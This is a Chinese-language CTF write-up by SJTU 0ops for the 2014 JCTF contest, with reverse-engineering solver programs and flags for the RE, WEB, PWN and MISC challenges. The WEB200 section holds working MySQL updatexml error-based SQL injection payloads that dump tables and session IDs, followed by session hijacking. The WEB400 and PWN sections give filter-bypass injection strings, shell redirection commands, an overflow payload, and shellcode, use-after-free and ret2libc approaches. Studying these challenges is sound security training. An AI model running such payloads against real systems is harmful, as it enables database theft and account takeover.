JCTF Writeup
SJTU 0ops - September 11, 2014
賽題原始碼:JCTF原始碼.zip
RE
RE100
扔給dex2jar+jdgui,在MainActivity裡看到
NzU2ZDJmYzg0ZDA3YTM1NmM4ZjY4ZjcxZmU3NmUxODk=
Base64解碼為
756d2fc84d07a356c8f68f71fe76e189
百度一下,你就知道:
2fc84d07a356c8f68f71fe76e189 是多少,有沒有人知道
我覺得是}321nimda{galflj
大家覺得呢
反過來就是flag
RE200
首先需要修復PE頭,從MS Dos Header指向PE header的偏移應該是0xE8,此外PE header 頭部的magic number 從"PE\FF\0"
改成"PE\0\0"
,完成修復 其次分析程式,程式輸⼊入9個數,但是隻需要前面三個數進行一個運算,滿足相關條件,中間三個數為80 94 98
,最後三個數無關,然後列印出flag只取前面三個數
#!c
#include <stdio.h>
int main( int argc, char *argv[] )
{
for ( size_t i = 0; i < 0x100000; ++i )
{
for ( size_t j = 0; j < 0x100000; ++j )
{
size_t k = (i ^ j) + 4;
if ( i * j * k / 0xb == 0x6a && (i + j + k) % 100 == 0x22 )
{
printf( "%d %d %d\n", i, j, k );
// return 1;
}
}
}
return(0);
}
有多解,然後程式中還有一個限制條件檢查,邏輯⽐比較繁瑣,我們直接測試了多個解發現 15 6 13
這一組是正確解
flag為
jlflag{15613abc}
RE300
程式非常可愛的去檢查IsDebugPresent,如果存在Debug才會執行,所以需要用⾮隱藏版的偵錯程式執行或者手工patch。程式接下來會讀取keyfile,讀取出來的內容用strol函式(16進位制編碼)轉換成特定的值和 0x19310918 異或,得到的值符合程式中固定的值即可,但是這個題目明顯的存在多解,因為strol可以接受各種格式的輸入,例如0xFFFFFFFF
和FFFFFFFF
都是轉換成統一的值,另外還有前面插入多餘的空格等等。
最後正確的flag應該是
0x181f0d1f
RE400
是一道自修改程式碼的題目,會把0x00422000
上的程式碼做一個運算然後去執行! 簡單的寫了一個搜尋程式,特徵是要求搜尋出來最後一個位元組是0xc3也就是retn!
#!c
#include <stdio.h>
unsigned char t( unsigned short c, size_t num )
{
unsigned int result = 1;
for ( size_t i = 0; i < num; ++i )
{
result = c * result % 0x5ED;
}
return(result & 0xFF);
}
unsigned short Table[] =
{
0x00F9, 0x02C3, 0x034B, 0x0149, 0x04E7, 0x02C3, 0x012E, 0x0570, 0x0543, 0x0001, 0x02C3, 0x059C, 0x018C, 0x02BF, 0x054E, 0x0009, 0x0009, 0x0543, 0x0000, 0x056E, 0x008B, 0x055B, 0x018C, 0x0234, 0x05D9, 0x0009, 0x0009, 0x0395, 0x01A6, 0x0570, 0x0000, 0x0000, 0x0000, 0x0000, 0x046B, 0x0294, 0x0102, 0x044E, 0x0000, 0x046B, 0x0499, 0x027D, 0x0382, 0x05B6, 0x046B, 0x01FE, 0x01FE, 0x050D, 0x0390, 0x046B, 0x0471, 0x037F, 0x02CA, 0x0499, 0x046B, 0x027D, 0x033C, 0x0453, 0x01A9, 0x046B, 0x0543, 0x043D, 0x0073, 0x043D, 0x05D2, 0x02CA, 0x0570, 0x02C3, 0x012E, 0x0570, 0x0417, 0x045D, 0x0417, 0x005F, 0x0417, 0x00A1, 0x00FC, 0x0563, 0x012E, 0x005F, 0x0552, 0x012F, 0x01F7, 0x03C7, 0x0417, 0x0481, 0x0001, 0x0417, 0x02B2, 0x0001, 0x0417, 0x00A1, 0x00FC, 0x0563, 0x012E, 0x0223, 0x03FF, 0x0035, 0x0262, 0x03FF, 0x033F, 0x0262, 0x0552, 0x012F, 0x012E, 0x0469, 0x01FE, 0x0035, 0x0036, 0x0491, 0x0564, 0x0035, 0x03FF, 0x01B6, 0x0009, 0x0108, 0x0035, 0x012E, 0x0330, 0x0481, 0x046B, 0x05B0, 0x0000, 0x031E, 0x0000, 0x046B, 0x0035, 0x0035, 0x00EC, 0x0000, 0x0481, 0x0009, 0x03E0, 0x04A8, 0x01FE, 0x00EC, 0x0000, 0x03FF, 0x0168, 0x03FB, 0x02B2, 0x0032, 0x01DF, 0x01B1
};
unsigned char TableNew[0x90]; int main( int argc, char *argv[] )
{
for ( size_t input = 0; input < 0x100; ++input )
{
for ( size_t i = 0; i < 0x90; ++i )
{
TableNew[i] = t( Table[i], input );
}
if ( TableNew[0x90 - 1] == 0xc3 )
{
for ( size_t i = 0; i < 0x90; ++i )
printf( "%02x ", TableNew[i] );
printf( "\n---%d---\n", input );
}
}
return(0);
}
搜尋出來以後,發現當input取233的時候,解出來的第一個位元組0x55符合push ebp特徵, 所以選擇它,然後解出來的程式碼中有硬編碼的
jlflag{L04e_3389_admin}
RE500
首先發現是梆梆加固的apk,利用百度研究員開發的ZJDroid進行脫殼,得到一個dex檔案,發現裡面去exec了⼀個findstr的native code,於是逆向分析該binary,該binary接受的是輸入字串的逆序,然後將輸入字串做了兩個變換A和B,再和binary內部一固定字串做兩個變換C和 D之後進行比較。C和D變換比較複雜,但是我們使⽤用了IDA動態除錯直接拿到了固定字元 串做完C和D變換後的值,無視逆向,然後寫出程式碼hEll0_Arm_W0rld
#!c
#include <stdio.h>
int main( int argc, char *argv[] )
{
char str[] = "+nv|ai|KivO:w:vr";
char new_str[] = "+nv|ai|KivO:w:vr"; new_str[5] = str[4];
new_str[6] = str[5];
new_str[8] = str[6];
new_str[9] = str[7];
new_str[10] = str[8]; new_str[13] = str[9]; new_str[14] = str[10]; new_str[4] = str[11]; new_str[7] = str[12]; new_str[11] = str[13]; new_str[12] = str[14];
for ( size_t i = 0; i < 16; ++i )
{
new_str[i] -= 10;
}
for ( size_t i = 0; i < 16; ++i )
{
str[15 - i] = new_str[i];
}
puts( str );
return(0);
}
WEB
WEB100
根據header中vim提示,網站上可能存在vim編輯時剩下的臨時⽂件,也就是.index.html.swp
網上找個dvorak鍵盤圖片
[行,列] 一個一個字元解就是了,比如
[4,4] = j
[2,11] = l
之後出現的 [4,1,x,x] 是 Shift + [x,x]
WEB200
在登陸頁檢視網頁原始碼發現
<!--I'm lazy, so I save password into a file named password.key -->
下載password.key檔案,開啟裡面為一段加密後的javascript程式碼,直接在控制檯執行得到 :
Password: xssbbs
任意使用者名稱+xssbbs做密碼即可登陸,但唯獨不能用admin登陸。
登陸後發現能發表評論,根據題目中xss提示發現存在xss漏洞。但是隻能x自己的xss不是好 xss。用單引號測試提交欄位,發現存在SQL隱碼攻擊漏洞。
因為發表評論,此處應為insert型別的注入,利⽤MySQL的報錯性質。
得到資料庫:
title=s' or updatexml(0,concat(0x7e,(SELECT group_concat(schema_name) FROM information_schema.schemata )),0) or '&content=s
發現有information_schema,kaer兩個資料庫
得到kaer的表名
title=s' or updatexml(0,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())),0) or '&content=s
有comment,user兩個表
查詢user表的列名
title=s' or updatexml(0,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() and table_name='user')), 0) or '&content=s
user表有id,username,session_id三個列
直接查session_id
title=title=s' or updatexml(0,(SELECT group_concat(id,0x7e,session_id) FROM user),0) or '&content=s
得到admin的session_id為MTM5OTYyNzY1Mg==
將⾃己的session改成admin的session,登陸進去後發現啥都沒有。
繼續注⼊入:
title=s' or updatexml(0,substring(concat(0x7e,(SELECT group_concat(username) FROM user)),30),0) or '&content=s
得到
jlflag{1_d0nt_11k3_5q1m4p}
WEB300
提交?password=flag
到達驗證碼識別的介面。
注意控制User-Agent和Referer,偽裝成正常請求。
利用分散式⼈肉驗證碼識別系統完成。
WEB400
注意到http://121.40.150.205/web400/?page=index
這種格式,可能有檔案包含。
嘗試http://121.40.150.205/web400/index能下載得到index檔案。
檢視登陸頁面原始碼http://121.40.150.205/web400/?page=test
得到提⽰
<!--action="./index.php?page=login" -->
訪問http://121.40.150.205/web400/login得到登陸原始碼
其中進⾏了一個正則檢查只允許字母數字和下劃線
if (!preg_match('/^\w*$/m', $user) || !preg_match('/^\w*$/m', $pwd))
可用%0a
繞過!
過濾了空格,可用/**/
繞過
另外根據提示:
Humans shall pass, but bots will FAIL.
發現表單的提交地址、name、pwd等都在變,與session有關,因此可以用指令碼提取這些變的欄位。
另外需要修改user-agent為正常瀏覽器的user-agent。這樣可以寫指令碼進行中轉註入。
提交內容舉例如下:
o5dgNIiZMEySbuCcs3r7=t%0a%27%2F**%2For%2F** %2F1%3D1%23&7PA3h66arJomMvZjEOW8=ss
由於頁面沒有回顯資訊,經過中轉之後注入型別為最基本的盲注,正確顯⽰示“This is a test account.”。
最後從user表⾥裡得到flag。jlflag{a1y0u_bucu0_zh3g3d1a0}
PWN
PWN100
連上伺服器,輸入以下命令即可獲得互動式
sh<&4
bash >&4 2>&4
PWN200
修改名字的那個地⽅是在前一次名字的後面再新增新名字的,這裡有緩衝區溢位,把後面一些特定的地方改成特定的值就會進入輸出flag的分支
Payload = ‘1\n’ + ‘l’*1023 + ‘\n’ + ‘3\n’ + ‘h’*6 + ‘1\x00\x00\x60’ + ‘\n’
PWN300
Do you want to get the flag?
回答yes,在接下來一個問題讀入答案的時候會把buffer的長度+1,有off by 1,正好可以把 buffer後面表示長度的變數改大(改成0xff),再次讀入的時候就可以棧溢位,這題沒開 NX,可以先用read往固定地址讀入shellcode然後再跳轉到shellcode去執⾏
PWN400
在一條message後面加滿256條回覆就可以將其刪除,但是懸空指標還在,再次對其 modify,新輸入的content如果長度與剛才被free的結構體大小一樣的話就會被分配在同⼀地址上,這裡就可以用字串的內容填充結構體,再進行一次modify就可以use-after- free,直接呼叫system(‘/bin/sh’)
即可
PWN500
程式與pwn300幾乎⼀模⼀樣,差別只在於開了NX,那就直接return到libc中的system去執 行system(‘/bin/sh’)即可
MISC
MISC100
解壓apk檔案(當作zip),然後在/res/raw/hehe
裡可以找到flag!
ctf{adkankjasnfmasncmansddfmnasm}!
MISC200
扔給dex2jar+jdgui,在Broadcast Receiver onReceive函式里:
String str = new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf("")).append('_').toString())).append('p').toString())).append('i').toString())).append('p').toString())).append('Y').toString())).append('u').toString())).append('N').toString() + 'Y';
答案顯而易見。
MISC300
密文是弗吉尼亞密碼加密,金鑰為12, 11, 8, 13, 25, 14,對密文中的英文字母迴圈使⽤金鑰為偏移進行移位即可解開明文,⾥面有如下字串
Here is yor flag:jlflag{I_Kn0w_n0thing}
MISC400
從data中可以找到curl請求⽹盤地址,由此下載pcap。
根據http://blog.flanker017.me/actf-misc300%E5%AE%98%E6%96%B9writeup/類似思路找到adb流量中的圖⽚片,得到 flag。
MISC500
把原圖每一個畫素的rgb值提取出來,把所有綠色值的最低位提取出來,就是一個頭破損的bmp圖片,修復頭就能顯示flag
相關文章
- SSCTF Writeup2020-08-19
- BCTF Writeup2020-08-19
- HCTF writeup(web)2020-08-19Web
- wargame narnia writeup2020-08-19GAM
- 太湖杯writeup2020-11-22
- 0ctf writeup2020-08-19
- 360hackgame writeup2020-08-19GAM
- Wargama-leviathan Writeup2020-08-19GAM
- CoolShell解密遊戲的WriteUp2020-08-19解密遊戲
- guestbook(hackme web部分writeup)2020-10-31Web
- 三道MISC的writeup2022-12-08
- xss挑戰賽writeup2020-08-19
- web_ping的writeup2018-08-19Web
- CTFSHOW-WEB入門 writeup2020-09-29Web
- Alictf2014 Writeup2020-08-19TF2
- cmseasy&內網滲透 Writeup2021-08-19內網
- 2016hctf writeup2017-03-04
- Hack.lu 2014 Writeup2020-08-19
- 31C3 CTF web關writeup2020-08-19Web
- CTF-safer-than-rot13-writeup2021-07-20
- Flare-on5 Challenge6 magic -Writeup2018-09-20
- CTF——WriteUp(2020招新)2020-11-04
- Misc_BUUCTF_WriteUp | 面具下的flag2024-10-30
- Web_Bugku_WriteUp | 變數12024-03-17Web變數
- 無聲杯 xss 挑戰賽 writeup2020-08-19
- 技術分享 | "錦行杯"比賽 Writeup2021-02-02
- 網鼎杯-writeup-第二場-babyRSA2018-08-24
- xctf攻防世界—Web新手練習區 writeup2020-12-22Web
- 2020湖湘杯部分writeup2020-11-02
- 【Writeup】Pwnable.kr 0x02 collision2017-07-29
- XSS挑戰第一期Writeup2020-08-19
- XSS挑戰第二期 Writeup2020-08-19
- 第五季極客大挑戰writeup2020-08-19
- 【阿菜Writeup】Security Innovation Smart Contract CTF2021-08-26
- 第一屆BMZCTF公開賽-WEB-Writeup2020-12-30Web
- 阿里雲CTF逆向題“尤拉”詳細Writeup2024-04-30阿里
- 32C3 CTF 兩個Web題目的Writeup2020-08-19Web
- 幾期『三個白帽』小競賽的writeup2020-08-19